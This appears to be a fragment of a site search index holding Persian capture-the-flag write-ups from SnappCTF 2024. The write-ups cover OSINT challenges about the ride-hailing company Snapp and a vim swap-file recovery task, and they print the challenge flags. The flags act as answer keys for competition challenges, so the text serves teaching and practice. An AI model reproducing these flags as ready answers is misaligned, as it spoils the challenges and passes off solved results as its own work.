\u0628\u0631\u0627\u06cc \u062d\u0644 \u0627\u06cc\u0646 \u0686\u0627\u0644\u0634 \u0627\u0632 \u0627\u067e\u0644\u06cc\u06a9\u06cc\u0634\u0646 \u0627\u0646\u062f\u0631\u0648\u06cc\u062f \u0627\u0633\u0646\u067e \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0634\u062f\u0647 \u0627\u0633\u062a.

\u062f\u0644\u06cc\u0644 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u0627\u067e\u0644\u06cc\u06a9\u06cc\u0634\u0646 \u0627\u0646\u062f\u0631\u0648\u06cc\u062f \u0627\u0633\u0646\u067e \u0627\u06cc\u0646 \u0647\u0633\u062a \u06a9\u0647 \u062a\u0645\u0627\u0645 \u0633\u0631\u0648\u06cc\u0633\u200c\u0647\u0627\u06cc \u0627\u0631\u0627\u0626\u0647 \u0634\u062f\u0647 \u062a\u0648\u0633\u0637 \u0627\u0633\u0646\u067e \u0628\u0647 \u0635\u0648\u0631\u062a \u062f\u0633\u062a\u0647 \u0628\u0646\u062f\u06cc \u0634\u062f\u0647 \u062f\u0631 \u0627\u06cc\u0646 \u0627\u067e\u0644\u06cc\u06a9\u06cc\u0634\u0646 \u0628\u0647 \u0647\u0645\u0631\u0627\u0647 \u062a\u0648\u0636\u06cc\u062d\u0627\u062a \u0645\u0631\u0628\u0648\u0637 \u0628\u0647 \u0647\u0631 \u0633\u0631\u0648\u06cc\u0633 \u0648\u062c\u0648\u062f \u062f\u0627\u0631\u0646\u062f \u0648 \u0627\u06cc\u0646 \u0645\u0648\u0636\u0648\u0639 \u067e\u06cc\u062f\u0627 \u06a9\u0631\u062f\u0646 \u0633\u0631\u0648\u06cc\u0633 \u0645\u0648\u0631\u062f \u0646\u0638\u0631 \u0631\u0648 \u0633\u0627\u062f\u0647 \u062a\u0631 \u0645\u06cc\u06a9\u0646\u0647. \u0627\u0628\u062a\u062f\u0627 \u0628\u0647 \u062a\u0631\u062a\u06cc\u0628 \u0633\u0631\u0648\u06cc\u0633\u200c\u0647\u0627\u06cc \u0645\u062e\u062a\u0644\u0641 \u06a9\u0647 \u0628\u06cc\u0634\u062a\u0631\u06cc\u0646 \u0627\u0631\u062a\u0628\u0627\u0637 \u0631\u0648 \u0628\u0627 \u062a\u0648\u0636\u06cc\u062d\u0627\u062a \u0686\u0627\u0644\u0634 \u062f\u0627\u0631\u0646\u062f \u0628\u0631\u0631\u0633\u06cc \u0645\u06cc\u200c\u06a9\u0646\u06cc\u0645. \u0645\u0639\u06cc\u0627\u0631 \u0645\u0627 \u0627\u06cc\u0646 \u0647\u0633\u062a \u06a9\u0647 \u0647\u0631 \u0633\u0631\u0648\u06cc\u0633\u06cc \u06a9\u0647 \u0628\u0647 \u06a9\u0627\u0631\u0628\u0631 \u062a\u062e\u0641\u06cc\u0641 \u0627\u0631\u0627\u0626\u0647 \u0645\u06cc\u062f\u0647 \u06cc\u0627 \u0627\u0645\u06a9\u0627\u0646 \u067e\u0631\u062f\u0627\u062e\u062a \u0627\u0639\u062a\u0628\u0627\u0631\u06cc \u0631\u0648 \u0628\u0631\u0627\u06cc \u06a9\u0627\u0631\u0628\u0631 \u0641\u0631\u0627\u0647\u0645 \u0645\u06cc\u06a9\u0646\u0647 \u0645\u06cc\u062a\u0648\u0646\u0647 \u062c\u0648\u0627\u0628 \u0645\u0627 \u0628\u0627\u0634\u0647 \u0686\u0648\u0646 \u062a\u0645\u0627\u0645 \u0627\u06cc\u0646 \u0633\u0631\u0648\u06cc\u0633\u200c\u0647\u0627 \u0628\u0647 \u06a9\u0627\u0631\u0628\u0631 \u0627\u062c\u0627\u0632\u0647 \u0645\u06cc\u062f\u0646 \u06a9\u0647 \u0645\u0628\u0644\u063a\u06cc \u0631\u0648 \u062f\u0631 \u0645\u0627\u0647 \u0630\u062e\u06cc\u0631\u0647 \u06a9\u0646\u0646\u062f.

1- \u0633\u0631\u0648\u06cc\u0633 \u067e\u0631\u062f\u0627\u062e\u062a \u0627\u0639\u062a\u0628\u0627\u0631\u06cc \u0627\u0633\u0646\u067e (\u0628\u0647 \u062f\u0644\u06cc\u0644 \u0627\u0645\u06a9\u0627\u0646 \u067e\u0631\u062f\u0627\u062e\u062a \u0645\u0628\u0644\u063a \u0633\u0641\u0631 \u062f\u0631 \u067e\u0627\u06cc\u0627\u0646 \u0645\u0627\u0647 \u062a\u0627 \u0633\u0642\u0641 200 \u0647\u0632\u0627\u0631 \u062a\u0648\u0645\u0627\u0646) 2- \u0633\u0631\u0648\u06cc\u0633 \u0627\u0633\u0646\u067e \u06a9\u0644\u0627\u0628 (\u0628\u0647 \u062f\u0644\u06cc\u0644 \u0627\u0631\u0627\u0626\u0647 \u06a9\u062f\u200c\u0647\u0627\u06cc \u062a\u062e\u0641\u06cc\u0641) 3- \u0633\u0631\u0648\u06cc\u0633 \u0631\u0632\u0631\u0648 \u0647\u062a\u0644 \u0648 \u0628\u0644\u06cc\u062a \u0627\u0633\u0646\u067e (\u0628\u0647 \u062f\u0644\u06cc\u0644 \u06a9\u062f\u200c\u0647\u0627\u06cc \u062a\u062e\u0641\u06cc\u0641 25 \u0647\u0632\u0627\u0631 \u062a\u0648\u0645\u0627\u0646\u06cc \u06a9\u0647 \u0628\u0647 \u062a\u0648\u0636\u06cc\u062d\u0627\u062a \u0686\u0627\u0644\u0634 \u0634\u0628\u0627\u0647\u062a \u062f\u0627\u0631\u062f)

\u0646\u062a\u06cc\u062c\u0647 \u0628\u0631\u0631\u0633\u06cc \u0627\u06cc\u0646 \u0633\u0631\u0648\u06cc\u0633 \u0647\u0627 \u0627\u06cc\u0646 \u0628\u0648\u062f \u06a9\u0647 \u0647\u06cc\u0686 \u06a9\u062f\u0627\u0645 \u067e\u0627\u0633\u062e \u0686\u0627\u0644\u0634 \u0646\u0628\u0648\u062f\u0646\u062f.

\u062f\u0631\u0627 \u06cc\u0646 \u0645\u0631\u062d\u0644\u0647 \u06cc\u06a9 \u0633\u0648\u0627\u0644 \u0628\u0647 \u0648\u062c\u0648\u062f \u0627\u0648\u0645\u062f \u0648 \u0627\u0648\u0646 \u0647\u0645 \u0627\u06cc\u0646 \u0628\u0648\u062f \u06a9\u0647 \u0627\u06af\u0631 \u0627\u0633\u0627\u0645\u06cc \u0627\u0635\u0644\u06cc \u0633\u0631\u0648\u06cc\u0633\u200c\u0647\u0627 \u0627\u0648\u0646 \u0686\u06cc\u0632\u06cc \u06a9\u0647 \u062d\u062f\u0633 \u0645\u06cc\u0632\u0646\u06cc\u0645 \u0646\u0628\u0627\u0634\u0646\u062f \u0686\u06cc\u061f \u0628\u0631\u0627\u06cc \u0647\u0645\u06cc\u0646 \u0648 \u0628\u0631\u0627\u06cc \u0627\u06cc\u062c\u0627\u062f \u0627\u0637\u0645\u06cc\u0646\u0627\u0646 \u0639\u0644\u0627\u0648\u0647 \u0628\u0631 \u0627\u0633\u0645 \u0633\u0631\u0648\u06cc\u0633\u200c\u200c\u0647\u0627\u06cc \u0645\u0631\u0628\u0648\u0637\u0647 \u06a9\u0647 \u0645\u0645\u06a9\u0646 \u0647\u0633\u062a \u062c\u0648\u0627\u0628 \u0628\u0627\u0634\u0646\u062f\u060c \u062f\u0631\u062e\u0648\u0627\u0633\u062a\u200c\u0647\u0627\u06cc \u0627\u0631\u0633\u0627\u0644 \u0634\u062f\u0647 \u0627\u0632 \u0633\u0645\u062a \u0627\u0648\u0646\u200c\u0647\u0627 \u0631\u0648 \u0628\u0627 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u0627\u0628\u0632\u0627\u0631 BurpSuite \u0634\u0646\u0648\u062f \u06a9\u0631\u062f\u06cc\u0645 \u062a\u0627 \u0646\u0627\u0645 \u062f\u0642\u06cc\u0642 \u0633\u0631\u0648\u06cc\u0633 \u0647\u0627 \u0631\u0648 \u0627\u0632 \u0631\u0648\u06cc API \u0647\u0627\u06cc \u0645\u0631\u0628\u0648\u0637\u0647 \u062a\u0634\u062e\u06cc\u0635 \u0628\u062f\u06cc\u0645. \u0627\u0645\u0627 \u0645\u062a\u0627\u0633\u0641\u0627\u0646\u0647 \u062f\u0631 \u0646\u0647\u0627\u06cc\u062a \u0627\u06cc\u0646 \u06a9\u0627\u0631 \u0647\u0645 \u0646\u062a\u06cc\u062c\u0647\u200c\u0627\u06cc \u0646\u062f\u0627\u0634\u062a.

\u0628\u0639\u062f \u0627\u0632 \u0627\u06cc\u0646 \u0645\u0631\u062d\u0644\u0647 \u0645\u062a\u0648\u062c\u0647 \u0634\u062f\u0645 \u06a9\u0647 \u0646\u0633\u062e\u0647 \u0627\u067e\u0644\u06cc\u06a9\u06cc\u0634\u0646 \u0627\u0633\u0646\u067e \u06a9\u0647 \u062f\u0631 \u062d\u0627\u0644 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u0627\u0648\u0646 \u0628\u0648\u062f\u0645 \u0645\u0646\u0637\u0628\u0642 \u0628\u0627 \u0622\u062e\u0631\u06cc\u0646 \u0628\u0647 \u200c\u0631\u0648\u0632 \u0631\u0633\u0627\u0646\u06cc \u0646\u06cc\u0633\u062a. \u0627\u0632 \u0627\u06cc\u0646\u062c\u0627 \u062d\u062f\u0633\u06cc \u06a9\u0647 \u0628\u0647 \u0648\u062c\u0648\u062f \u0627\u0648\u0645\u062f \u0627\u06cc\u0646 \u0628\u0648\u062f \u06a9\u0647 \u0634\u0627\u06cc\u062f \u062f\u0631 \u0622\u067e\u062f\u06cc\u062a\u200c\u0647\u0627\u06cc \u0627\u062e\u06cc\u0631\u060c \u0633\u0631\u0648\u06cc\u0633 \u062c\u062f\u06cc\u062f\u06cc \u0628\u0647 \u0628\u0631\u0646\u0627\u0645\u0647 \u0627\u0636\u0627\u0641\u0647 \u0634\u062f\u0647 \u06a9\u0647 \u062f\u0631 \u0646\u0633\u062e\u0647\u200c \u0641\u0639\u0644\u06cc \u0648\u062c\u0648\u062f \u0646\u062f\u0627\u0631\u0647 \u0648 \u0628\u0646\u0627\u0628\u0631\u0627\u06cc\u0646 \u0628\u0631\u0646\u0627\u0645\u0647 \u0628\u0647 \u0622\u062e\u0631\u06cc\u0646 \u0646\u0633\u062e\u0647 \u0628\u0647 \u0631\u0648\u0632 \u0631\u0633\u0627\u0646\u06cc \u0634\u062f.

\u0647\u0645\u0648\u0646\u0637\u0648\u0631 \u06a9\u0647 \u062f\u0631 \u062a\u0635\u0648\u06cc\u0631 \u0645\u0634\u062e\u0635 \u0647\u0633\u062a\u060c \u0628\u0639\u062f \u0627\u0632 \u0628\u0647 \u0631\u0648\u0632 \u0631\u0633\u0627\u0646\u06cc \u0627\u067e\u0644\u06cc\u06a9\u06cc\u0634\u0646 \u0627\u0646\u062f\u0631\u0648\u06cc\u062f \u0627\u0633\u0646\u067e \u06cc\u06a9 \u0633\u0631\u0648\u06cc\u0633 \u062c\u062f\u06cc\u062f \u0628\u0627 \u0646\u0627\u0645 \u0627\u0633\u0646\u067e \u067e\u0631\u0648 \u0628\u0647 \u0628\u0631\u0646\u0627\u0645\u0647 \u0627\u0636\u0627\u0641\u0647 \u0634\u062f\u0647 \u0648 \u0628\u0627 \u062a\u06af \u062c\u062f\u06cc\u062f \u0645\u0634\u062e\u0635 \u0634\u062f\u0647. \u0628\u0631\u0627\u06cc \u0627\u0637\u0644\u0627\u0639 \u0627\u0632 \u0645\u0634\u062e\u0635\u0627\u062a \u0627\u06cc\u0646 \u0633\u0631\u0648\u06cc\u0633 \u062c\u062f\u06cc\u062f \u0628\u0627 \u0633\u0631\u0686 \u0627\u0633\u0645 \u0627\u0648\u0646 \u062f\u0631 \u06af\u0648\u06af\u0644 \u0628\u0647 \u0635\u0641\u062d\u0647 \u0645\u0631\u0628\u0648\u0637 \u0628\u0647 \u0627\u06cc\u0646 \u0633\u0631\u0648\u06cc\u0633 \u062f\u0631 \u0633\u0627\u06cc\u062a \u0627\u0633\u0646\u067e \u0628\u0627 \u0627\u06cc\u0646 \u0622\u062f\u0631\u0633 \u0645\u06cc\u0631\u0633\u06cc\u0645.

\u0647\u0645\u0648\u0646\u0637\u0648\u0631 \u06a9\u0647 \u062f\u0631 \u062a\u0635\u0648\u06cc\u0631 \u062f\u06cc\u062f\u0647 \u0645\u06cc\u200c\u0634\u0647\u060c \u062f\u0631 \u0628\u062e\u0634 \u0627\u0628\u062a\u062f\u0627\u06cc\u06cc \u0627\u06cc\u0646 \u0635\u0641\u062d\u0647 \u062a\u0648\u0636\u06cc\u062d\u0627\u062a\u06cc \u062f\u0631 \u0631\u0627\u0628\u0637\u0647 \u0628\u0627 \u0633\u0631\u0648\u06cc\u0633 \u0627\u0633\u0646\u067e \u067e\u0631\u0648 \u062f\u0627\u062f\u0647 \u0634\u062f\u0647. \u0628\u0647 \u0639\u0628\u0627\u0631\u0627\u062a \u0627\u0634\u062a\u0631\u0627\u06a9 \u0648 \u062a\u062e\u0641\u06cc\u0641 \u062f\u0631 \u0645\u062a\u0646 \u0627\u0631\u0627\u0626\u0647 \u0634\u062f\u0647 \u062f\u0642\u062a \u06a9\u0646\u06cc\u062f. \u0627\u0632 \u0627\u06cc\u0646 \u062f\u0648 \u0639\u0628\u0627\u0631\u062a \u0627\u06cc\u0646 \u0646\u06a9\u062a\u0647 \u0628\u0631\u062f\u0627\u0634\u062a \u0645\u06cc\u0634\u0647 \u06a9\u0647 \u06a9\u0627\u0631\u0628\u0631\u0627\u0646 \u0628\u0627 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u0627\u06cc\u0646 \u0633\u0631\u0648\u06cc\u0633 \u0642\u0627\u062f\u0631 \u0647\u0633\u062a\u0646\u062f \u0645\u0628\u0644\u063a\u06cc \u0631\u0648 \u062f\u0631 \u0645\u0627\u0647 \u0630\u062e\u06cc\u0631\u0647 \u06a9\u0646\u0646\u062f. \u0628\u0631\u0627\u06cc \u0622\u0634\u0646\u0627\u06cc\u06cc \u0628\u06cc\u0634\u062a\u0631 \u0628\u0627 \u0627\u06cc\u0646 \u0633\u0631\u0648\u06cc\u0633 \u0645\u0642\u062f\u0627\u0631\u06cc \u0628\u0647 \u067e\u0627\u06cc\u06cc\u0646 \u0635\u0641\u062d\u0647 \u0627\u0633\u06a9\u0631\u0648\u0644 \u0645\u06cc\u200c\u06a9\u0646\u06cc\u0645 \u0648 \u062f\u0631 \u0628\u062e\u0634 \u0645\u06cc\u0627\u0646\u06cc \u0633\u0627\u06cc\u062a \u062a\u0648\u0636\u06cc\u062d\u0627\u062a \u062c\u0627\u0644\u06cc \u0631\u0648 \u062f\u0631 \u0631\u0627\u0628\u0637\u0647 \u0628\u0627 \u0633\u0631\u0648\u06cc\u0633 \u0627\u0633\u0646\u067e \u067e\u0631\u0648 \u0645\u0634\u0627\u0647\u062f\u0647 \u0645\u06cc\u06a9\u0646\u06cc\u0645.

\u0647\u0645\u0648\u0646\u0637\u0648\u0631 \u06a9\u0647 \u062f\u0631 \u062a\u0635\u0648\u06cc\u0631 \u0645\u0634\u062e\u0635 \u0647\u0633\u062a\u060c \u062f\u0631 \u0628\u062e\u0634\u06cc \u0627\u0632 \u062a\u0648\u0636\u06cc\u062d\u0627\u062a \u0627\u0631\u0627\u0626\u0647 \u0634\u062f\u0647 \u06af\u0641\u062a\u0647 \u0634\u062f\u0647 \u06a9\u0647 \u0628\u0627 \u0641\u0639\u0627\u0644 \u0633\u0627\u0632\u06cc \u0627\u06cc\u0646 \u0633\u0631\u0648\u06cc\u0633 \u0627\u0645\u06a9\u0627\u0646 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 25 \u0647\u0632\u0627\u0631 \u062a\u0648\u0645\u0627\u0646 \u062a\u062e\u0641\u06cc\u0641 \u0628\u0631\u0627\u06cc \u0647\u0631 \u0627\u0631\u0633\u0627\u0644 \u062f\u0631 \u0637\u0648\u0644 \u0645\u062f\u062a \u0627\u0634\u062a\u0631\u0627\u06a9 \u0648\u062c\u0648\u062f \u062f\u0627\u0631\u062f. \u0639\u0628\u0627\u0631\u062a 25 \u0647\u0632\u0627\u0631 \u062a\u0648\u0645\u0627\u0646 \u0622\u0634\u0646\u0627 \u0646\u06cc\u0633\u062a\u061f \u062f\u0631 \u062a\u0648\u0636\u06cc\u062d\u0627\u062a \u0686\u0627\u0644\u0634 \u06af\u0641\u062a\u0647 \u0634\u062f\u0647 \u0628\u0648\u062f \u06a9\u0647 \u0633\u0631\u0648\u06cc\u0633 \u0645\u0648\u0631\u062f \u0646\u0638\u0631 \u0627\u0645\u06a9\u0627\u0646 \u0630\u062e\u06cc\u0631\u0647 \u0645\u0628\u0644\u063a 250 \u0647\u0632\u0627\u0631 \u062a\u0648\u0645\u0627\u0646 \u0631\u0648 \u062f\u0631 \u0627\u062e\u062a\u06cc\u0627\u0631 \u06a9\u0627\u0631\u0628\u0631\u0627\u0646 \u0642\u0631\u0627\u0631 \u0645\u06cc\u062f\u0647. \u0627\u06cc\u0646 \u062f\u0648 \u0645\u0642\u062f\u0627\u0631 \u0628\u0647 \u0647\u0645 \u0634\u0628\u06cc\u0647 \u0647\u0633\u062a\u0646\u062f \u0648 \u062d\u062f\u0633\u06cc \u06a9\u0647 \u0627\u06cc\u0646\u062c\u0627 \u0628\u0647 \u0648\u062c\u0648\u062f \u0645\u06cc\u0627\u062f \u0627\u06cc\u0646 \u0647\u0633\u062a \u06a9\u0647 \u0634\u0627\u06cc\u062f \u062f\u0631 \u062a\u0648\u0636\u06cc\u062d\u0627\u062a \u0686\u0627\u0644\u0634 \u0642\u0635\u062f \u0637\u0631\u0627\u062d \u0627\u06cc\u0646 \u0628\u0648\u062f\u0647 \u06a9\u0647 \u0645\u0628\u0644\u063a \u0631\u0648 \u06cc\u0647 \u0635\u0648\u0631\u062a \u0631\u06cc\u0627\u0644 \u0628\u0646\u0648\u06cc\u0633\u0647 \u0648 \u0646\u0647 \u062a\u0648\u0645\u0627\u0646 \u0648 \u062f\u0631 \u0648\u0627\u0642\u0639 \u0645\u0627 \u062f\u0646\u0628\u0627\u0644 \u0645\u0628\u0644\u063a 25 \u0647\u0632\u0627\u0631 \u062a\u0648\u0645\u0627\u0646 \u0645\u06cc\u06af\u0631\u062f\u06cc\u0645. \u0639\u0644\u0627\u0648\u0647 \u0628\u0631 \u0627\u0648\u0646 \u0628\u0627 \u062a\u0648\u062c\u0647 \u0628\u0647 \u0627\u06cc\u0646\u06a9\u0647 \u0627\u06cc\u0646 \u0633\u0631\u0648\u06cc\u0633 \u0628\u0647 \u062a\u0627\u0632\u06af\u06cc \u0628\u0647 \u0627\u0633\u0646\u067e \u0627\u0636\u0627\u0641\u0647 \u0634\u062f\u0647 \u0645\u0645\u06a9\u0646 \u0647\u0633\u062a \u06a9\u0647 \u0627\u06cc\u0646 \u0686\u0627\u0644\u0634 \u06cc\u06a9 \u062c\u0646\u0628\u0647 \u062a\u0628\u0644\u06cc\u063a\u0627\u062a\u06cc \u0628\u0631\u0627\u06cc \u0645\u0639\u0631\u0641\u06cc \u0627\u06cc\u0646 \u0633\u0631\u0648\u06cc\u0633 \u0647\u0645 \u062f\u0627\u0634\u062a\u0647 \u0628\u0627\u0634\u0647 \u067e\u0633 \u062d\u062f\u0633 \u0628\u0631 \u0627\u06cc\u0646 \u0647\u0633\u062a \u06a9\u0647 \u0646\u0627\u0645 \u0627\u06cc\u0646 \u0633\u0631\u0648\u06cc\u0633 \u0645\u0645\u06a9\u0646\u0647 \u062c\u0648\u0627\u0628 \u0686\u0627\u0644\u0634 \u0628\u0627\u0634\u0647.

\u0648 \u062f\u0642\u06cc\u0642\u0627 \u062f\u0631\u0633\u062a \u062d\u062f\u0633 \u0632\u062f\u06cc\u0645! \u0639\u0628\u0627\u0631\u062a SNAPPPRO \u0647\u0645\u0648\u0646 \u0641\u0644\u06af \u0647\u0633\u062a.

FLAG

SNAPP{SNAPPPRO}

Info

\u0646\u06a9\u062a\u0647\u200c\u0627\u06cc \u06a9\u0647 \u062f\u0631 \u0631\u0627\u06cc\u062a\u0627\u067e \u0628\u0647 \u0627\u0648\u0646 \u0627\u0634\u0627\u0631\u0647 \u0634\u062f \u0648 \u062f\u0631 \u0622\u062e\u0631 \u062f\u0631\u0633\u062a \u0628\u0648\u062f \u0627\u06cc\u0646 \u0647\u0633\u062a \u06a9\u0647 \u06af\u0648\u06cc\u0627 \u0647\u062f\u0641 \u0637\u0631\u0627\u062d  \u062f\u0631 \u062a\u0648\u0636\u06cc\u062d\u0627\u062a \u0686\u0627\u0644\u0634 \u0646\u0648\u0634\u062a\u0646 \u0639\u0628\u0627\u0631\u062a  25 \u0647\u0632\u0627\u0631 \u062a\u0648\u0645\u0627\u0646 \u0628\u0648\u062f\u0647 \u06a9\u0647 \u0628\u0647 \u0627\u0634\u062a\u0628\u0627\u0647 250 \u0647\u0632\u0627\u0631 \u062a\u0648\u0645\u0627\u0646 \u0639\u0646\u0648\u0627\u0646 \u0634\u062f\u0647.\n

\u0646\u0648\u06cc\u0633\u0646\u062f\u0647

EnZ404

","tags":["SnappCTF","SnappCTF-2024","OSINT"]},{"location":"misc/writeups/SnappCTF/SnappOsint/#snapp-customer","title":"\u0686\u0627\u0644\u0634 SNAPP Customer","text":"

\u0628\u0631\u0627\u06cc \u0627\u06cc\u0646 \u0686\u0627\u0644\u0634 \u0645\u0627 \u0628\u0627 \u06cc\u06a9 \u062c\u0633\u062a\u062c\u0648 \u062f\u0631 \u0627\u06cc\u0646\u062a\u0631\u0646\u062a \u0628\u0647 \u0644\u06cc\u0646\u06a9 \u06af\u0632\u0627\u0631\u0634 \u0639\u0645\u0644\u06a9\u0631\u062f \u0633\u0627\u0644 1401 \u0627\u0633\u0646\u067e \u0631\u0633\u06cc\u062f\u06cc\u0645 \u06a9\u0647 \u0645\u062c\u0645\u0648\u0639\u0647 \u0627\u06cc \u0627\u0632 \u0627\u0637\u0644\u0627\u0639\u0627\u062a \u0645\u0631\u0628\u0648\u0637 \u0628\u0647 \u0627\u06cc\u0646 \u0634\u0631\u06a9\u062a \u062f\u0631 \u0622\u0646 \u0628\u0648\u062f. \u0628\u0631\u0627\u06cc \u0627\u06cc\u0646 \u0686\u0627\u0644\u0634 \u06a9\u0647 \u0627\u0632 \u0645\u0627 \u062a\u0639\u062f\u0627\u062f \u06a9\u0627\u0631\u0645\u0646\u062f\u0627\u0646\u060c \u062a\u0639\u062f\u0627\u062f \u06a9\u0644 \u06a9\u0627\u0631\u0628\u0631\u0627\u0646 \u0633\u0648\u067e\u0631\u0627\u067e \u0627\u0633\u0646\u067e \u0648 \u062a\u0639\u062f\u0627\u062f \u0622\u06cc\u062a\u0645\u200c\u0647\u0627\u06cc \u063a\u0630\u0627 \u062f\u0631 \u0628\u0632\u0631\u06af\u062a\u0631\u06cc\u0646 \u0633\u0641\u0627\u0631\u0634 \u063a\u0630\u0627 \u0631\u0627 \u0627\u0632 \u0645\u0627 \u062e\u0648\u0627\u0633\u062a\u0647 \u0628\u0648\u062f \u0627\u0632 \u0647\u0645\u06cc\u0646 \u0644\u06cc\u0646\u06a9 \u0628\u062f\u0633\u062a \u0622\u0648\u0631\u062f\u06cc\u0645.

FLAG

SNAPP{6561-62394971-520}

\u0646\u0648\u06cc\u0633\u0646\u062f\u0647

HIGHer

","tags":["SnappCTF","SnappCTF-2024","OSINT"]},{"location":"misc/writeups/SnappCTF/SnappOsint/#snapp-records","title":"\u0686\u0627\u0644\u0634 SNAPP Records","text":"

\u0628\u0631\u0627\u06cc \u0627\u06cc\u0646 \u0686\u0627\u0644\u0634 \u0647\u0645 \u0645\u06cc \u062a\u0648\u0627\u0646\u06cc\u0645 \u0628\u0627 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u0647\u0645\u0627\u0646 \u06af\u0632\u0627\u0631\u0634 \u0639\u0645\u0644\u06a9\u0631\u062f \u0633\u0627\u0644\u0627\u0646\u0647 \u0627\u0633\u0646\u067e \u0628\u0647 \u0645\u06cc\u0632\u0627\u0646 \u0631\u06a9\u0648\u0631\u062f \u062a\u0631\u0627\u06a9\u0646\u0634 \u0627\u0633\u0646\u067e\u200c\u067e\u06cc \u0648 \u062a\u0639\u062f\u0627\u062f \u0633\u0641\u0631\u0647\u0627\u06cc \u0631\u0648\u0632\u0627\u0646\u0647 \u0628\u0627 \u0627\u0633\u0646\u067e \u0628\u0631\u0633\u06cc\u0645.

FLAG

SNAPP{4132512-257520}

\u0646\u0648\u06cc\u0633\u0646\u062f\u0647

HIGHer

","tags":["SnappCTF","SnappCTF-2024","OSINT"]},{"location":"misc/writeups/SnappCTF/SnappOsint/#snapp-bounties","title":"\u0686\u0627\u0644\u0634 SNAPP Bounties","text":"

\u062f\u0631 \u0627\u06cc\u0646 \u0686\u0627\u0644\u0634 \u0646\u06cc\u0632 \u0646\u06cc\u0627\u0632 \u0628\u0647 \u0628\u0631\u0631\u0633\u06cc \u0627\u062e\u0628\u0627\u0631 \u0627\u062e\u06cc\u0631 \u0645\u0631\u0628\u0648\u0637 \u0628\u0647 \u0627\u0641\u0632\u0627\u06cc\u0634 \u067e\u0627\u062f\u0627\u0634 \u0647\u0627\u06cc \u0628\u0631\u0646\u0627\u0645\u0647 \u0628\u0627\u06af \u0628\u0627\u0646\u062a\u06cc \u0627\u0633\u0646\u067e \u0628\u0648\u062f

\u06a9\u0647 \u0641\u0644\u06af \u0628\u0647 \u0627\u06cc\u0646 \u0635\u0648\u0631\u062a \u0633\u0627\u062e\u062a\u0647 \u0645\u06cc\u0634\u0648\u062f

FLAG

SNAPP{80-36}

\u0646\u0648\u06cc\u0633\u0646\u062f\u0647

HIGHer

","tags":["SnappCTF","SnappCTF-2024","OSINT"]},{"location":"misc/writeups/SnappCTF/bandy/","title":"Bandy","text":"

\u0627\u0632 \u0645\u0646 \u0628\u0647 \u0634\u0645\u0627 \u0646\u0635\u06cc\u062d\u062a \u0647\u0631\u062c\u0627 vim \u062f\u06cc\u062f\u06cc\u062f\u060c \u0628\u0631\u06cc\u062f \u0633\u0645\u062a swp \u0641\u0627\u06cc\u0644 \u0647\u0627 =))

\u0637\u0628\u0642 \u062a\u0635\u0648\u06cc\u0631\u06cc \u06a9\u0647 \u062a\u0648\u0633\u0637 \u0628\u0631\u0646\u0627\u0645\u0647 bless \u0646\u0634\u0627\u0646 \u062f\u0627\u062f\u0647 \u0634\u062f\u0647\u060c \u0645\u06cc\u0628\u06cc\u0646\u06cc\u0645 \u06a9\u0647 \u0642\u0633\u0645\u062a \u0645\u062c\u06cc\u06a9 \u0628\u0627\u06cc\u062a \u062f\u0648 \u0641\u0627\u06cc\u0644 \u0628\u0627 \u0647\u0645 \u0641\u0631\u0642 \u062f\u0627\u0631\u0647

\u0628\u0639\u062f \u0627\u0632 \u0633\u0631 \u0648 \u06a9\u0644\u0647 \u0632\u062f\u0646 \u0647\u0627\u06cc \u0641\u0631\u0627\u0648\u0648\u0646 \u0628\u0631\u0627\u06cc \u062a\u063a\u06cc\u06cc\u0631 \u0641\u0631\u0645\u062a \u0648 \u0645\u0633\u06cc\u0631 \u0641\u0627\u06cc\u0644 \u0647\u0627 \u062a\u0648\u0633\u0637 \u0645\u0646 \u0648 \u0648\u062d\u06cc\u062f \u062c\u0627\u0646 \u0648 \u0646\u0627\u06a9\u0627\u0645\u06cc \u062f\u0631 \u0627\u06cc\u0646 \u0632\u0645\u06cc\u0646\u0647\u060c \u0646\u06cc\u0645\u0627 \u062c\u0627\u0646 \u0628\u0647\u0645\u0648\u0646 \u06af\u0641\u062a:

\u0686\u0647 \u0646\u06cc\u0627\u0632\u06cc\u0647 \u06a9\u0644 \u0628\u0627\u06cc\u062a \u0647\u0627 \u0631\u0648 \u062a\u0628\u062f\u06cc\u0644 \u06a9\u0646\u06cc\u0645\u061f

\u062f\u0648 \u0628\u0627\u06cc\u062a \u0627\u0648\u0644 \u06a9\u0627\u0641\u06cc\u0647!!

vim -r .bandy.swp\n

\u0628\u0627 \u0632\u062f\u0646 \u0627\u06cc\u0646 \u06a9\u0627\u0645\u0646\u062f \u0648 \u0631\u062f \u06a9\u0631\u062f\u0646 \u0648\u0627\u0631\u0646\u06cc\u0646\u06af\u06cc \u06a9\u0647 \u062f\u0627\u062f\u0647\u060c \u0645\u06cc\u062a\u0648\u0646\u06cc\u0645 \u0628\u0647 \u0641\u0627\u06cc\u0644 \u0627\u0635\u0644\u06cc \u0628\u0631\u0633\u06cc\u0645

\u062f\u0631 \u0627\u06cc\u0646 \u0642\u0633\u0645\u062a \u0628\u0627\u06cc\u062f \u0641\u0627\u06cc\u0644 \u0631\u0648 \u0633\u06cc\u0648 \u06a9\u0646\u06cc\u0645

\u0628\u0627 \u062f\u0633\u062a\u0648\u0631

:w a.png\n

\u0645\u06cc\u062a\u0648\u0646\u06cc\u0645 \u0641\u0627\u06cc\u0644 \u0631\u0648 \u0633\u06cc\u0648 \u06a9\u0646\u06cc\u0645 \u062c\u0627\u06cc\u06cc \u06a9\u0647 \u0645\u06cc\u062e\u0648\u0627\u06cc\u0645 (\u0646\u0647 \u062c\u0627\u06cc\u06cc \u06a9\u0647 \u0622\u0642\u0627\u06cc \u0641\u0627\u06a9\u062a\u0648\u0631\u06cc\u0644 \u0632\u062f\u0647 )

